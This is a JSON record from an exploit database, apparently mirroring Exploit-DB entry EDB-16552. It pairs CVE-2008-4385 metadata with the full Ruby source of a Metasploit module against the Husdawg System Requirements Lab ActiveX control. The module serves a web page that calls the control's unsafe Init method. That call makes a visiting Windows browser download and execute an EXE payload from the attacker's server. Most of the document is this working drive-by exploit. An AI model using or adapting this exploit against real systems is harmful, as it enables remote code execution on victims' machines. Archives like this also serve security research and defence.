{"exploit":{"id":"EDB-16552","name":"Husdawg System Requirements Lab - ActiveX Unsafe Method (Metasploit)","description":"Husdawg System Requirements Lab - ActiveX Unsafe Method (Metasploit)","cves":["CVE-2008-4385"],"author":"Metasploit","published":"2010-09-20","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16552","path":"exploits/windows/remote/16552.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16552.rb","vulnerabilities":[{"id":"CVE-2008-4385","state":"PUBLISHED","title":null,"titleSource":null,"description":"Husdawg, LLC Systems Requirements Lab 3, as used by Instant Expert Analysis, allows remote attackers to force the download and execution of arbitrary programs via by specifiying a malicious website argument to the Init method in (1) a certain ActiveX control (sysreqlab2.cab, sysreqlab.dll, sysreqlabsli.dll, or sysreqlab2.dll) and (2) a certain Java applet in RLApplet.class in sysreqlab2.jar or sysreqlab.jar.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-4385","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-4385"},"updatedAt":"2024-08-07T10:17:09.829Z","retrievedAt":"2026-11-27T02:12:06.185Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16552.png?v=2","url":"https://exploitbin.com/exploits/EDB-16552","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16552/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16552/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: systemrequirementslab_unsafe.rb 10394 2010-09-20 08:06:27Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = ExcellentRanking\n\n\tinclude Msf::Exploit::Remote::HttpServer::HTML\n\tinclude Msf::Exploit::EXE\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Husdawg, LLC. System Requirements Lab ActiveX Unsafe Method',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module allows attackers to execute code via an unsafe method in\n\t\t\t\tHusdawg, LLC. System Requirements Lab ActiveX Control (sysreqlab2.dll 2.30.0.0)\n\t\t\t},\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Author'         => [ 'MC' ],\n\t\t\t'Version'        => '$Revision: 10394 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2008-4385' ],\n\t\t\t\t\t[ 'OSVDB', '50122' ],\n\t\t\t\t\t[ 'US-CERT-VU', '166651' ],\n\t\t\t\t],\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'           => 2048,\n\t\t\t\t\t'StackAdjustment' => -3500,\n\t\t\t\t},\n\t\t\t'Platform'       => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t[ 'Automatic', { } ],\n\t\t\t\t],\n\t\t\t'DefaultTarget'  => 0,\n\t\t\t'DisclosureDate' => 'Oct 16 2008'))\n\tend\n\n\tdef autofilter\n\t\tfalse\n\tend\n\n\tdef check_dependencies\n\t\tuse_zlib\n\tend\n\n\tdef on_request_uri(cli, request)\n\n\t\tpayload_url =  \"http://\"\n\t\tpayload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']\n\t\tpayload_url += \":\" + datastore['SRVPORT'] + get_resource() + \"/payload\"\n\n\t\tif (request.uri.match(/payload/))\n\t\t\treturn if ((p = regenerate_payload(cli)) == nil)\n\t\t\tdata = generate_payload_exe({ :code => p.encoded })\n\t\t\tprint_status(\"Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...\")\n\t\t\tsend_response(cli, data, { 'Content-Type' => 'application/octet-stream' })\n\t\t\treturn\n\t\tend\n\n\t\tvname  = rand_text_alpha(rand(100) + 1)\n\t\texe    = rand_text_alpha(rand(20) + 1)\n\n\t\tcontent = %Q|\n\t\t\t<html>\n\t\t\t\t<object classid='clsid:67A5F8DC-1A4B-4D66-9F24-A704AD929EEE' id='#{vname}'></object>\n\t\t\t\t<script language='JavaScript'>\n\t\t\t\t\t#{vname}.Init(\"#{payload_url}/#{exe}.exe\", \"#{vname}\");\n\t\t\t\t</script>\n\t\t\t</html>\n\t\t\t\t\t\t|\n\n\t\tcontent = Rex::Text.randomize_space(content)\n\n\t\tprint_status(\"Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...\")\n\n\t\tsend_response_html(cli, content)\n\n\t\thandler(cli)\n\n\tend\n\nend","sha256":"769dd9d54ec0644e8fb8f38337782dbdcfe8638a52dd3a19b6c77a0d14fd4b4c","bytes":2493,"fetchedAt":"2026-11-27T02:12:05.931Z","encoding":"utf-8 (display only; download retains original bytes)"}